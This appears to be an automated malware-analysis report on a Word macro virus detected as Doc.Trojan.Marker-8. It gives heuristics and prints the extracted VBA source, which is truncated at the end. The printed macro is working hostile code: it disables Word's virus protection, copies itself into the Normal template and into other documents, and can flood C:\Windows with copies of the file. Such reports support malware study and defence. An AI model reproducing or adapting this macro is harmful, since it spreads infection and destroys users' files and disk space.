MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a Word document containing VBA macros, specifically a Document_Open macro, which is a common technique for malware execution. The macro attempts to infect the Normal.dot template and other documents with code, as indicated by the heuristic firings and the VBA code's logic for copying modules. The ClamAV detection 'Doc.Trojan.Marker.IT' further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-8 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-8
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 15989 bytes |
SHA-256: 9012e82fac340e0fd479a269ca6e983f946aa897b1efe463c987275e0daece11 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-8
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub viewvbcode(): MsgBox "The Visual Basic environment could not be initialized. Please run setup to install it correctly.", vbCritical: End Sub
Private Sub Document_close()
On Error GoTo Finm
If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
Const exi = "la macro de colombia xxa"
Dim DInfec, planinfec As Boolean
Dim Docu, Plan As Object
Dim modulin, contemodu, Ninfec As String
Dim Nume As Integer
Dim Copform As Object
Set Docu = ActiveDocument.VBProject.VBComponents.Item(1)
Set Plan = NormalTemplate.VBProject.VBComponents.Item(1)
SaveDoc = ActiveDocument.Saved
Saveplan = NormalTemplate.Saved
DInfec = Docu.CodeModule.Find(exi, 1, 1, 40000, 40000)
plainfec = Plan.CodeModule.Find(exi, 1, 1, 40000, 40000)
'Ninfec = "'" & " "
Options.VirusProtection = False
Nume = Mid(Int(Rnd() * 10), 1, 1)
Nume = Nume
nume1 = 7
Nume2 = 3
If Nume = nume1 Or Nume = Nume2 Or plainfec = False Then
If DInfec = True And plainfec = False Then
On Error Resume Next
For il = 1 To Plan.CodeModule.CountOfLines
Plan.CodeModule.DeleteLines 1
Next
On Error GoTo Finm
'Docu.CodeModule.addfromstring Ninfec
contemodu = Docu.CodeModule.Lines(1, Docu.CodeModule.CountOfLines)
Plan.CodeModule.AddFromString contemodu
End If
If DInfec = False And plainfec = True Then
On Error Resume Next
For il = 1 To Docu.CodeModule.CountOfLines
Docu.CodeModule.DeleteLines 1
Next
On Error GoTo Finm
'Plan.CodeModule.addfromstring Ninfec
contemodu = Plan.CodeModule.Lines(1, Plan.CodeModule.CountOfLines)
Docu.CodeModule.AddFromString contemodu
End If
If SaveDoc = True Then ThisDocument.Save
If SaveDoc = True And plainfec = False Then NormalTemplate.Save
End If
End If
sd = Day(Now()) & "-" & Month(Now()) & "-" & Year(Now())
sd = Trim(sd)
If Year(Now()) < 2000 And Month(Now()) > 6 Then
ChangeFileOpenDirectory "C:\Windows\"
For i = 1 To 999999991
ActiveDocument.SaveAs FileName:=("AA" & i & "AA.DOC"), FileFormat:= _
wdFormatDocument, LockComments:=False, Password:="", AddToRecentFiles:= _
True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
SaveAsAOCELetter:=False
Next
End If
GoTo Finb
Finm:
On Error Resume Next
For il = 1 To Docu.CodeModule.CountOfLines
Docu.CodeModule.DeleteLines 1
Next
GoTo Finb
Finb:
On Error Resume Next
End Sub
Private Sub Document_Open()
On Error Resume Next
Const exi = "la macro de colombia xxx"
Dim Docu, Plan As Object
Set Docu = ActiveDocument.VBProject.VBComponents.Item(1)
If Docu.CodeModule.CountOfLines > 0 Then
DInfec = Docu.CodeModule.Find(exi, 1, 1, 40000, 40000)
If DInfec = False Then
For il = 1 To Docu.CodeModule.CountOfLines
Docu.CodeModule.DeleteLines 1
Next
End If
End If
Set Plan = NormalTemplate.VBProject.VBComponents.Item(1)
If Plan.CodeModule.CountOfLines > 0 Then
plainfec = Plan.CodeModule.Find(exi, 1, 1, 40000, 40000)
If plainfec = False Then
For il = 1 To Plan.CodeModule.CountOfLines
Plan.CodeModule.DeleteLines 1
Next
End If
End If
End Sub
Attribut
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.